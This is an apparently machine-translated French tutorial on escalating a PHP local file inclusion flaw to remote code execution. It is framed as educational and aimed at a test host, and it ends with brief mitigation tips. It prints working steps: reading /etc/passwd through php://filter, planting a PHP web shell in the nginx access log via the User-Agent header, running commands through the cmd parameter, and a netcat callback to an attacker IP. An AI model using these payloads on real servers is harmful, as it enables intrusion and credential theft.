Sécurité Web: du LFI au RCE

L'inclusion de fichiers locaux (LFI) est la possibilité d'utiliser des fichiers de serveur local. La vulnérabilité permet à un utilisateur distant d'accéder à des fichiers arbitraires sur le serveur à l'aide d'une requête spécialement conçue, y compris contenant potentiellement des informations confidentielles. Aujourd'hui, nous allons vous dire comment un attaquant utilisant cette faille peut exécuter des commandes sur un serveur distant.



Une vulnérabilité similaire se produit si l'implémentation d'une application Web utilise des fonctions non sécurisées, par exemple, include , qui vous permet d'inclure du contenu dans une page à partir d'un fichier local. Dans notre cas, cela ressemble à ceci:







Grâce à la ligne include («$ file») , la valeur du fichier de paramètres GET sera incluse dans le contenu de la page . Maintenant, en utilisant cette vulnérabilité, nous retournerons les fichiers locaux que nous spécifions dans le paramètre.

L'article est à titre informatif uniquement. N'enfreignez pas la loi.

Détection de vulnérabilité

Comment trouver une vulnérabilité? Si vous spécifiez dans un paramètre potentiellement vulnérable l'inclusion d'un fichier local, par exemple, un index avec une extension quelconque, et que ce fichier s'ouvrira, alors nous pouvons certainement dire que le paramètre est responsable de l'échange du fichier. Cela peut être fait manuellement ou à l'aide de divers outils automatisés, par exemple, le scanner de vulnérabilité Wapiti , qui a été mentionné dans l'un de nos articles , ou l'outil spécialisé LFISuite , qui est spécialement conçu pour rechercher et exploiter les vulnérabilités LFI.











Quels pièges peut-il y avoir? Par exemple, la présence d'un filtrage qui remplacera l'extension de fichier à la fin de la ligne, par exemple, .php . Ainsi, lorsque nous essayons d'inclure le fichier / etc / passwd dans la page, nous recevrons file = / etc / passwd.php dans la barre d'adresse , et le contenu de ce fichier ne sera pas affiché sur la page, puisque le fichier n'existe pas. Mais un tel filtre peut être contourné en utilisant le soi-disant octet zéro, qui "coupera" tout ce qui vient après. Le fait est que toute la barre d'adresse lors de la transmission d'une requête HTTP est codée en URL-encodage, et dans ce codage, l'octet zéro ressemble à % 00 . Ainsi, la ligne /etc/passwd%00.phpsera converti en / etc / passwd . Cependant, il faut noter que ce problème est assez bien connu et a été corrigé dans PHP 5.3+.



Une autre option pour contourner le filtrage est d'utiliser le filtre php . Dans le paramètre responsable de l'inclusion des fichiers, nous écrivons non seulement le chemin du fichier que nous voulons inclure, mais le chemin du fichier à l'aide de cette fonction. Maintenant, la demande que nous allons envoyer ressemble à:

http://site.test.lan/index2.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
    

Et maintenant, sur la page du navigateur, nous ne verrons pas le contenu du fichier, mais sa source encodée en base64 , qui peut être décodée: nous avons











compris les principaux points de la vulnérabilité LFI, et maintenant nous comprenons que lors de son exploitation, il est possible de lire un fichier local sur un serveur distant. Mais LFI a une fonctionnalité intéressante qui vous permet non seulement de lire des fichiers locaux, mais aussi de compromettre le serveur.

Empoisonner le journal du serveur Web

Je pense qu’il vaut la peine de mentionner tout de suite que la vulnérabilité n’est pas nouvelle, mais qu’elle est toujours rencontrée et peut constituer une menace sérieuse pour la sécurité d’un serveur Web. Lors de l'interaction avec une application Web, toutes nos demandes sont enregistrées dans les journaux du serveur Web, en règle générale, il s'agit des fichiers /var/log/nginx/access.log ou /var/log/nginx/error.log si, par exemple, un serveur Web est utilisé Nginx , mais les noms des fichiers finaux, bien sûr, peuvent différer.







Maintenant, en faisant une demande spéciale, nous allons créer un shell Web sur le serveur, en l'écrivant dans le fichier access.log . Pour ce faire, modifiez l'en - tête User-Agent en y ajoutant <? système php ($ _ GET [cmd]); ?> . Pour envoyer une demande, nous utiliserons l'outil Burp Suite , qui vous permet d'intercepter et de modifier les demandes en temps réel. Pourquoi User-Agent a- t-il été utilisé ? Comme mentionné précédemment, la barre d'adresse encode les informations à l'aide de l'URL-encoder, par conséquent, pour transférer du code php, vous devez utiliser des en-têtes, et comme l' agent utilisateur est exactement écrit dans le access.log , nous l'utiliserons. Le web shell est écrit et prêt à l'emploi: Lors de l'accès au journal de l'application web en utilisant la vulnérabilité LFI, son contenu sera lu, et le script <? Php system ($ _ GET [cmd]); ?>















- exécuter, ce qui permettra d'utiliser la variable " cmd " pour exécuter des commandes sur le serveur:

http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=ls /
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
    

Contrairement à LFI, où lire le contenu d'un fichier, vous devez spécifier le chemin complet vers celui-ci, dans le second cas, des commandes arbitraires sont exécutées sur le serveur. Cela signifie qu'en plus de lire les fichiers du serveur, nous pouvons y accéder. Pour ce faire, nous spécifions dans le paramètre cmd la commande de lancement de Netcat pour communiquer avec le serveur de l'attaquant, c'est-à-dire avec nous:

http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=nc 192.168.0.135 4455
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
    

Recommandations

• vérifier régulièrement la sécurité de l'application Web afin de prévenir les vulnérabilités;
• ajoutez la ligne <? php exit (1) au journal du serveur Web ; ?> . Ce script empêchera toute tentative d'exécuter du code php dans ce fichier (ce n'est pas une bonne idée, mais cela fonctionne, au moins jusqu'à ce que rsyslog recrée le fichier journal);
  
  
  
  
• utilisez WAF, qui bloquera une requête malveillante, l'empêchant de s'exécuter sur le serveur Web.